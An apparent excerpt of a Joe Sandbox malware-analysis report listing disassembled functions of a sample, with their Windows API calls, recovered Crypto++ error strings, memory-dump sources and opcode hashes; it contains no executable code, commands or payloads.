                                          • Instruction ID: c3b68ec4663283ab94e5401b384796b11e4efe04958819efb4d54c60642edaf2
                                          • Opcode Fuzzy Hash: e34438bbc83bc7ba7417f1b2583ed465a9838641a7ccb9b57d4a4e4e04e53414
                                          • Instruction Fuzzy Hash: D1717830910258DFDF25DFA9C849BEDBBB4FF49310F5441A9E509A3292DB709A84CF52
                                          Function 0092CA7B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0092C64E: GetOEMCP.KERNEL32(00000000,?,?,0092C8D7,?), ref: 0092C679
                                          • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0092C91C,?,00000000), ref: 0092CAEF
                                          • GetCPInfo.KERNEL32(00000000,0092C91C,?,?,?,0092C91C,?,00000000), ref: 0092CB02
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CodeInfoPageValid
                                          • String ID: mqzp
                                          • API String ID: 546120528-955126501
                                          • Opcode ID: 8894d315ba28bba1bb63166280be8508fbea9c56535ae50a375ebf9b2eddf409
                                          • Instruction ID: 521d80ec5ac98af0fa2293a849c60e324362575107c29b29d63c8d45425d95ed
                                          • Opcode Fuzzy Hash: 8894d315ba28bba1bb63166280be8508fbea9c56535ae50a375ebf9b2eddf409
                                          • Instruction Fuzzy Hash: 9A519AF1A043259FDB20CF35E8926BFBBE8EF41300F14486ED09A97255D7399941CB80
                                          Function 008A6630 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A67D1
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: : this object requires an IV$mqzp
                                          • API String ID: 3976011213-4091892445
                                          • Opcode ID: 429bddb0418b2e58e278ebe01aeeeda4be5d796942d89e65376bce39c86a0b93
                                          • Instruction ID: c600f9cbe9c9c7d96655f7ba1c55bab129206184d18efab3d94d8dd9401ad8cf
                                          • Opcode Fuzzy Hash: 429bddb0418b2e58e278ebe01aeeeda4be5d796942d89e65376bce39c86a0b93
                                          • Instruction Fuzzy Hash: BB515A71A00248EFDB04DFA8C958BAEBBF4FF49308F148159F515EB281DB75AA04CB91
                                          Function 008C0EF0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C0F4F
                                            • Part of subcall function 00908346: ___unDName.LIBVCRUNTIME ref: 00908372
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Name___std_type_info_name___un
                                          • String ID: ThisObject:$mqzp
                                          • API String ID: 642245251-216416845
                                          • Opcode ID: f18b352fcc3d83a4e3914d4681663c86734404028aa59ef9f4e5a6e96386cbec
                                          • Instruction ID: 8cb3d3a8b2bd73a7665ec83b8a7580398cb078dcd3cbcaee1c2b3b040c369671
                                          • Opcode Fuzzy Hash: f18b352fcc3d83a4e3914d4681663c86734404028aa59ef9f4e5a6e96386cbec
                                          • Instruction Fuzzy Hash: 1A510471A04648DFDF14DFA8C885BAEBBB0FF85304F14825DE405A7382DB759985CBA1
                                          Function 008C10B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C110F
                                            • Part of subcall function 00908346: ___unDName.LIBVCRUNTIME ref: 00908372
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Name___std_type_info_name___un
                                          • String ID: ThisObject:$mqzp
                                          • API String ID: 642245251-216416845
                                          • Opcode ID: 41e31f4f81ee86360aee42dc59803967baa05176352079a1cf37f2b4b98214f1
                                          • Instruction ID: ddf7d48c21be1568b2879b83dc8b8e0f66d0a39023417fb6f908e5c8341b8b42
                                          • Opcode Fuzzy Hash: 41e31f4f81ee86360aee42dc59803967baa05176352079a1cf37f2b4b98214f1
                                          • Instruction Fuzzy Hash: 2251F571A04248DFDF14DFA8C884BAEBBB0FF86314F14821DE415A7382D7759945CB61
                                          Function 0092C726 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0092C74B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Info
                                          • String ID: $mqzp
                                          • API String ID: 1807457897-2609242280
                                          • Opcode ID: 7990b282c493312b18c7663595047b237bd1d4aaab71db43223ca793dae5e039
                                          • Instruction ID: 18169c4a9d2a00beef97bfc812addd61b1db076f5550d0f5fd1f54a3ce13641d
                                          • Opcode Fuzzy Hash: 7990b282c493312b18c7663595047b237bd1d4aaab71db43223ca793dae5e039
                                          • Instruction Fuzzy Hash: FA415BB050836C9EDB218E28DC84BFEBBBDEB55304F1448ECE59A87146D235AA45DF60
                                          Function 00928A66 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00928AAD
                                          • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 00928B2D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
                                          • String ID: mqzp
                                          • API String ID: 1834446548-955126501
                                          • Opcode ID: 05de65d1e95acff55e65f7f20f3818b7608a3a1088baf337263a3303d1acf180
                                          • Instruction ID: c48877705cd3d65bfeb0997c39d564b702c1ab37bdda14cb2d09b0628e4bfa84
                                          • Opcode Fuzzy Hash: 05de65d1e95acff55e65f7f20f3818b7608a3a1088baf337263a3303d1acf180
                                          • Instruction Fuzzy Hash: 55410271A08168AFDB20DF24DC80BEA73BAEB48300F5485EDE549E7245DB759E81CF90
                                          Function 008A8700 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A8869
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: mqzp$mqzp
                                          • API String ID: 2005118841-1158555082
                                          • Opcode ID: 1c68aebed5e094d261e3acd1abd40a785e309a163b1da9480ff1e8550251479e
                                          • Instruction ID: 983cae31c2860f9d8c3548350a0d5183b51a8e7e0c11b96bbee0689331ebf2a3
                                          • Opcode Fuzzy Hash: 1c68aebed5e094d261e3acd1abd40a785e309a163b1da9480ff1e8550251479e
                                          • Instruction Fuzzy Hash: 17412971E002099FDB08DF9DC991AAEFBF6FF89300F54812AE905A7791DB345900CBA5
                                          Function 008B69C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008B6B18
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: Integer: Min must be no greater than Max$mqzp
                                          • API String ID: 2005118841-828442561
                                          • Opcode ID: b51158b4d9cdb106bd69d656c6d7f30c271dfa1a54da10d06b060ff2bf612011
                                          • Instruction ID: c326f599119653d937ca60ef3e94dcb3a6138ea17897529f3f99c4299794b7c0
                                          • Opcode Fuzzy Hash: b51158b4d9cdb106bd69d656c6d7f30c271dfa1a54da10d06b060ff2bf612011
                                          • Instruction Fuzzy Hash: CC41A172D0122C9BDF14EF94C941AEEB7B9FF45314F148129E806F7341EB35AE158A92
                                          Function 008E72EB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3_ctype
                                          • String ID: %.0Lf
                                          • API String ID: 2548254987-1402515088
                                          • Opcode ID: 361cbfbe6b2033f9064c530af6d935fad8b666cbbc194627c83987505917fd41
                                          • Instruction ID: 0437879f4ac496c0f6310dac47d4d39ce5262a6a9f022baf26b6911a714f5ff9
                                          • Opcode Fuzzy Hash: 361cbfbe6b2033f9064c530af6d935fad8b666cbbc194627c83987505917fd41
                                          • Instruction Fuzzy Hash: A6419672E00248ABCF05EFD8C848ADEBBB9FB09304F104448E945AB295EB359919CF91
                                          Function 008ACA40 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008ACBAE
                                            • Part of subcall function 008A4EE0: __CxxThrowException@8.LIBVCRUNTIME ref: 008A4F7D
                                            • Part of subcall function 008A4EE0: __CxxThrowException@8.LIBVCRUNTIME ref: 008A4FAB
                                            • Part of subcall function 008A4EE0: ___std_exception_copy.LIBVCRUNTIME ref: 008A5002
                                          Strings
                                          • FilterWithBufferedInput: invalid buffer size, xrefs: 008ACB88
                                          • mqzp, xrefs: 008ACA54
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw$___std_exception_copy
                                          • String ID: FilterWithBufferedInput: invalid buffer size$mqzp
                                          • API String ID: 4178755008-430737369
                                          • Opcode ID: cdb8b1b0c319754bab3ff589f05868e96dc1899828ccd473669588890167ad07
                                          • Instruction ID: 3d6f6705c8b182c037a373f80d8f6cd262a8116be262483a0622cf198b612ed9
                                          • Opcode Fuzzy Hash: cdb8b1b0c319754bab3ff589f05868e96dc1899828ccd473669588890167ad07
                                          • Instruction Fuzzy Hash: E6417EB0900B48DFDB20CFA8C805B9ABBF4FF45724F14861DE4559B781D7B6A909CB91
                                          Function 0090B0F5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0090B11A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: EncodePointer
                                          • String ID: MOC$RCC
                                          • API String ID: 2118026453-2084237596
                                          • Opcode ID: cd6f604ad366f99ba820c8d3736fa1a4fb537f4ff73f307a40ce9d9bd653c765
                                          • Instruction ID: d25ff2ea6ebc695e2501c4e607ebe90ef0117d9c0997064321def020241c568e
                                          • Opcode Fuzzy Hash: cd6f604ad366f99ba820c8d3736fa1a4fb537f4ff73f307a40ce9d9bd653c765
                                          • Instruction Fuzzy Hash: D4416A72900209EFCF15DF98CD81AEEBBB9FF48300F198059F918A72A2D335A951DB51
                                          Function 008E71AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3_GS.LIBCMT ref: 008E71B5
                                            • Part of subcall function 008DB9AF: __EH_prolog3.LIBCMT ref: 008DB9B6
                                            • Part of subcall function 008DB9AF: std::_Lockit::_Lockit.LIBCPMT ref: 008DB9C0
                                            • Part of subcall function 008DB9AF: std::_Lockit::~_Lockit.LIBCPMT ref: 008DBA31
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
                                          • String ID: %.0Lf$0123456789-
                                          • API String ID: 2728201062-3094241602
                                          • Opcode ID: 7d806091cf47aa76cb4b02bf58b9e8c00e3e4163ab84bb38d85ae965c4f236f0
                                          • Instruction ID: 766101d862e935028443e3603facd560aa252211d2a8addc2ef3df8f61d9ff6c
                                          • Opcode Fuzzy Hash: 7d806091cf47aa76cb4b02bf58b9e8c00e3e4163ab84bb38d85ae965c4f236f0
                                          • Instruction Fuzzy Hash: 03419931900259DFCF05EF99C884AEE7BB2FF4A314F144059EA01EB256DB309E56CB92
                                          Function 00862D50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Wcrtomb
                                          • String ID: mqzp
                                          • API String ID: 2723506260-955126501
                                          • Opcode ID: 9197f3683dc58233e46204547732b8780358c1411b65ed725021f7a0c11270ee
                                          • Instruction ID: 44b66aa48a2c448ffb153a18546ac82710b8fb2d1fdb51753159ef004944b8cc
                                          • Opcode Fuzzy Hash: 9197f3683dc58233e46204547732b8780358c1411b65ed725021f7a0c11270ee
                                          • Instruction Fuzzy Hash: 93314FB1A0020ADFCB04DF98D8819BEB7F5FF58310B6145AAE955D7301E735AD60CBA0
                                          Function 008910A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON
                                          Download Yara Rule
                                          APIs
                                          • WaitForMultipleObjectsEx.KERNEL32(00000002,00000000,00000001,000000FF,00000000,707A716D,?,?,?,?,?,?,?,?,00000000,0093A3A8), ref: 00891140
                                            • Part of subcall function 00864CA0: ___std_exception_copy.LIBVCRUNTIME ref: 00864CDE
                                            • Part of subcall function 00899BD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00899BF1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8MultipleObjectsThrowWait___std_exception_copy
                                          • String ID: mqzp$mqzp
                                          • API String ID: 2380241787-1158555082
                                          • Opcode ID: 1e736748e6918451206e01699ba265b70636bf69f5e54716dfb26be326a4daee
                                          • Instruction ID: 8d6e0a4188f1933030f97a2e98cd73308ea7cac2a0f436d1e0584cca47d41b8a
                                          • Opcode Fuzzy Hash: 1e736748e6918451206e01699ba265b70636bf69f5e54716dfb26be326a4daee
                                          • Instruction Fuzzy Hash: 8431F575A04206ABDF14EB19DC05BAAB7A9FF44710F14413EEA06E7380DB756900CB90
                                          Function 008AB260 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AB2B1
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • PK_MessageAccumulator: TruncatedFinal() should not be called, xrefs: 008AB288
                                          • mqzp, xrefs: 008AB274
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: PK_MessageAccumulator: TruncatedFinal() should not be called$mqzp
                                          • API String ID: 3976011213-3089842674
                                          • Opcode ID: 3432cf8cdd1ded7eee25e6ea7d3c70675ed49cb81be4a14bb72210949d04bb6b
                                          • Instruction ID: 2eda439eefe4dbf2defc99468a652898e369c1d4d7aa64fad13e5f6a7453a91e
                                          • Opcode Fuzzy Hash: 3432cf8cdd1ded7eee25e6ea7d3c70675ed49cb81be4a14bb72210949d04bb6b
                                          • Instruction Fuzzy Hash: BE3138B56042049FDB04DF64C885EAEBBE9FF99350F140569F802E7362EB31DD08CA91
                                          Function 009327CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __dosmaperr_free
                                          • String ID: SystemRoot
                                          • API String ID: 3116789124-2034820756
                                          • Opcode ID: a89626ecb213c53b2df274594dc493060290dd209f38d33e5a1ff70f8788e1b0
                                          • Instruction ID: 0179148f19abe9ecded9c3d4e02af5e4f68a5bb8995a4180e2ce065b3f570c83
